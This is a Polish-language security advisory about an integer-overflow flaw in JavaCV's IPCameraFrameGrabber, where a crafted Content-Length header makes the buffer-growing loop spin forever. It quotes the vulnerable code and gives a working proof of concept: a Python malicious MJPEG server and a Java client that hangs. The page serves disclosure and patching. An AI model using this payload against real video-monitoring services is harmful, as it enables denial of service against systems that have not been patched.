Wysoka

JavaCV: Przepełnienie liczby całkowitej w IPCameraFrameGrabber powoduje DoS przez nieskończoną pętlę

  • Ujawniono: 16.10.2026
  • Aktualizacja: 21.10.2026 10:00

Podsumowanie

IPCameraFrameGrabber przetwarza wartość Content-Length z wieloczęściowego strumienia HTTP MJPEG zwracanego przez skonfigurowaną kamerę IP bez weryfikacji zakresu wartości. Złośliwy lub skompromitowany punkt końcowy kamery — lub jakikolwiek atakujący w sieci zdolny do modyfikowania niezaszyfrowanych odpowiedzi HTTP (strumienie te są zwykle przesyłane przez http://, jak opisano w dokumentacji samej klasy) — może przesłać wartość Content-Length z zakresu 1073741825-2147483647. Prowadzi to w wewnętrznej procedurze powiększania bufora ensureBufferCapacity(int) do przepełnienia 32-bitowej liczby całkowitej ze znakiem, co przekształca pętlę powiększania bufora w rzeczywistą nieskończoną pętlę: zmienna pętli przechodzi w stan 0 i nigdy więcej nie spełnia warunku wyjścia. Wątek wywołujący grab()/grabBufferedImage() stale obciąża procesor w 100% i nigdy nie powraca, trwale zawieszając wątek pobierania klatek aplikacji bez możliwości obsługi wyjątku, limitu czasu czy przerwania.

Szczegóły

Plik: src/main/java/org/bytedeco/javacv/IPCameraFrameGrabber.java

java
private byte[] readImage() throws IOException {
    ...
    int c0 = subheader.indexOf("content-length: ");
    final int c1 = subheader.indexOf('\r', c0);
    if (c0 < 0) {
        throw new EOFException("The camera stream ended unexpectedly");
    }
    c0 += 16;
    final int contentLength = Integer.parseInt(subheader.substring(c0, c1).trim());   // <-- fully attacker-controlled
    // adaptive size - careful - don't want a 2G jpeg
    ensureBufferCapacity(contentLength);                                              // <-- no upper bound enforced
    input.readFully(pixelBuffer, 0, contentLength);
    ...
}

private void ensureBufferCapacity(int desiredCapacity) {
    int capacity = pixelBuffer.length;          // starts at 1024
    while (capacity < desiredCapacity) {
        capacity *= 2;                          // <-- unchecked int multiplication
    }
    if (capacity > pixelBuffer.length) {
        pixelBuffer = new byte[capacity];
    }
}

Wartość contentLength jest pobierana bezpośrednio z nagłówków odpowiedzi HTTP strumienia kamery i przekazywana do ensureBufferCapacity bez sprawdzania górnego limitu (komentarz „adaptive size - careful - don't want a 2G jpeg” wskazuje, że autor był świadomy ryzyka, lecz nie zaimplementował weryfikacji).

ensureBufferCapacity wielokrotnie podwaja capacity (32-bitowy int, zaczynając od pixelBuffer.length == 1024), aż osiągnie >= desiredCapacity. Jeśli desiredCapacity jest większe niż 2^30 (1073741824), ale <= Integer.MAX_VALUE (2147483647):

  1. capacity osiąga 2^30 (1073741824) po 20 podwojeniach; warunek pętli capacity < desiredCapacity jest nadal prawdziwy.
  2. capacity *= 2 oblicza 2^31, co powoduje przepełnienie 32-bitowej wartości ze znakiem int i przejście na Integer.MIN_VALUE (-2147483648).
  3. Warunek pętli capacity < desiredCapacity (liczba ujemna porównywana z dużą liczbą dodatnią desiredCapacity) jest nadal spełniony, więc pętla kontynuuje działanie.
  4. capacity *= 2 oblicza Integer.MIN_VALUE * 2, co w 32-bitowej arytmetyce uzupełnień do dwóch daje 0.
  5. Od tego momentu capacity ma stale wartość 0 (0 * 2 == 0), a warunek 0 < desiredCapacity pozostaje prawdziwy na zawsze — pętla while nigdy się nie kończy.

Jest to pętla w pełni ograniczona mocą obliczeniową procesora, bez operacji wejścia/wyjścia, wywołań blokujących ani sprawdzania InterruptedException, dlatego nie można jej przerwać za pomocą Thread.interrupt() i nie reaguje ona na skonfigurowane w komponencie parametry readTimeout/connectionTimeout (dotyczą one wyłącznie odczytu z gniazda sieciowego, który następuje przed tą ścieżką kodu). Jedynym rozwiązaniem jest zewnętrzne zakończenie procesu maszyny JVM lub wątku.

PoC

Minimalny złośliwy serwer MJPEG (lub serwer MITM) odtwarzający zawieszenie:

python
import socket

srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 8080))
srv.listen(1)
print("listening on :8080")
conn, _ = srv.accept()
conn.recv(4096)  # swallow the client's request

# Any value in (1073741824, 2147483647] triggers the overflow.
malicious_length = 2000000000
header = (
    "--myboundary\r\n"
    "Content-Type: image/jpeg\r\n"
    "Content-Length: %d\r\n\r\n" % malicious_length
)
conn.sendall(header.encode())
# The client will now spin forever inside ensureBufferCapacity()
# before ever attempting to read the (fake) body.

Klient Java (reprezentatywny dla aplikacji integrujących javacv w celu odczytu adresu URL „kamery IP”):

java
import org.bytedeco.javacv.IPCameraFrameGrabber;
import java.util.concurrent.TimeUnit;

public class Poc {
    public static void main(String[] args) throws Exception {
        IPCameraFrameGrabber grabber = new IPCameraFrameGrabber(
            "http://127.0.0.1:8080/videostream.cgi", 5, 5, TimeUnit.SECONDS);
        grabber.start();
        grabber.grab(); // never returns; thread pegs a CPU core at 100% forever
    }
}

Uruchomienie klienta łączącego się z powyższym złośliwym serwerem powoduje trwałe zawieszenie grab() z pełnym obciążeniem rdzenia procesora, niezależnie od wartości startTimeout/grabTimeout przekazanych do konstruktora.

Wpływ

Każda aplikacja używająca IPCameraFrameGrabber do odbierania strumienia kamery/MJPEG ze źródła, które nie jest w pełni zaufane — w tym powszechne strumienie otwartego protokołu http:// (pokazane w przykładowej dokumentacji samej klasy: http://host/videostream.cgi?...), podatne na manipulację przez atakującego w sieci — może zostać wprowadzona w stan trwałego zawieszenia wątku pobierającego klatki przy 100% obciążeniu procesora za pomocą pojedynczego, spreparowanego nagłówka odpowiedzi. Nie jest wymagane uwierzytelnienie, ładunek JPEG ani faktyczny transfer danych; wystarczy sam złośliwy nagłówek. Powtarzające się wykorzystanie podatności przeciwko serwerowi tworzącemu osobny wątek pobierania dla każdego klienta lub kamery (częsty wzorzec w systemach monitoringu wideo) może wyczerpać dostępne wątki oraz zasoby procesora, prowadząc do szerszej odmowy usługi.

Co trzeba zrobić

Zaktualizuj do wersji 1.5.14 lub nowszej albo zastosuj commit cd1977800b827beadf3c53c4032e57172845e0b4.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Java / Kotlin (Maven) org.bytedeco:javacv < 1.5.14 1.5.14

Odnośniki

Ocena CVSS 7.5/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Słabość (CWE)
CWE-190
Platforma
Java / Kotlin (Maven)
Paczka
org.bytedeco:javacv
Ujawniono
16.10.2026
Aktualizacja
21.10.2026 10:00

Źródła i licencje · Redakcja lub tłumaczenie: DockRay. Zachowano prawa źródeł i obowiązujące licencje.

OSV / GitHub Advisory Database - GHSA-rxjv-24xq-76wc - CC BY 4.0

Historia podatności: org.bytedeco:javacv

Wszystkie opisane podatności tej paczki (Java / Kotlin (Maven)), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

To jedyna znana podatność tej paczki.

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.